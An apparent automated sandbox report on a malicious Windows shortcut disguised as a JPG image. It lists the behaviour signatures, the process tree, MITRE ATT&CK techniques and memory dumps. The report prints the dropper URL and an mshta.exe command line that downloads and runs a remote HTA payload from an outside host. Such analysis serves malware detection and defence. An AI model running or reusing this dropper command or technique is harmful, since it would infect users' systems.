Analysis

  • max time kernel
    205s
  • max time network
    277s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220310-en
  • submitted
    22-03-2022 12:37

General

  • Target

    samples/IMG20210713121548.jpg.lnk

Score
10/10

Malware Config

Extracted

Language
hta
Source
URLs
hta.dropper

https://inapharma.in/css/files/photos/Radhika-Images/Image5

Signatures

  • Blocklisted process makes network request 5 IoCs
  • Checks computer location settings 2 TTPs 1 IoCs

    Looks up country code configured in the registry, likely geofence.

  • Drops file in Windows directory 62 IoCs
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

  • Modifies data under HKEY_USERS 1 IoCs
  • Modifies system certificate store 2 TTPs 2 IoCs
  • Suspicious use of WriteProcessMemory 2 IoCs

Processes

  • C:\Windows\system32\cmd.exe
    cmd /c C:\Users\Admin\AppData\Local\Temp\samples\IMG20210713121548.jpg.lnk
    1⤵
    • Checks computer location settings
    • Suspicious use of WriteProcessMemory
    PID:4308
    • C:\Windows\System32\mshta.exe
      "C:\Windows\System32\mshta.exe" https://inapharma.in/css/files/photos/Radhika-Images/Image5
      2⤵
      • Blocklisted process makes network request
      • Modifies system certificate store
      PID:1264
  • C:\Windows\System32\svchost.exe
    C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
    1⤵
    • Drops file in Windows directory
    • Modifies data under HKEY_USERS
    PID:3736
  • C:\Windows\system32\svchost.exe
    C:\Windows\system32\svchost.exe -k appmodel -p -s camsvc
    1⤵
      PID:2032

    Network

    MITRE ATT&CK Matrix ATT&CK v6

    Defense Evasion

    Install Root Certificate

    1
    T1130

    Modify Registry

    1
    T1112

    Discovery

    Query Registry

    1
    T1012

    System Information Discovery

    2
    T1082

    Replay Monitor

    Loading Replay Monitor...

    Downloads

    • memory/1264-135-0x0000019CBD940000-0x0000019CBE401000-memory.dmp
      Filesize

      10.8MB

    • memory/1264-136-0x0000019CD6F96000-0x0000019CD6F97000-memory.dmp
      Filesize

      4KB

    • memory/3736-137-0x0000016EE8F60000-0x0000016EE8F70000-memory.dmp
      Filesize

      64KB

    • memory/3736-138-0x0000016EE9190000-0x0000016EE91A0000-memory.dmp
      Filesize

      64KB

    • memory/3736-139-0x0000016EE9380000-0x0000016EE9384000-memory.dmp
      Filesize

      16KB

    • memory/3736-140-0x0000016EEB910000-0x0000016EEB914000-memory.dmp
      Filesize

      16KB

    • memory/3736-141-0x0000016EEB910000-0x0000016EEB914000-memory.dmp
      Filesize

      16KB

    • memory/3736-142-0x0000016EEB940000-0x0000016EEB944000-memory.dmp
      Filesize

      16KB

    • memory/3736-143-0x0000016EEB920000-0x0000016EEB921000-memory.dmp
      Filesize

      4KB

    • memory/3736-144-0x0000016EEBA00000-0x0000016EEBA04000-memory.dmp
      Filesize

      16KB

    • memory/3736-145-0x0000016EEB9B0000-0x0000016EEB9B4000-memory.dmp
      Filesize

      16KB

    • memory/3736-146-0x0000016EEBAC0000-0x0000016EEBAC4000-memory.dmp
      Filesize

      16KB

    • memory/3736-147-0x0000016EEB9A0000-0x0000016EEB9A4000-memory.dmp
      Filesize

      16KB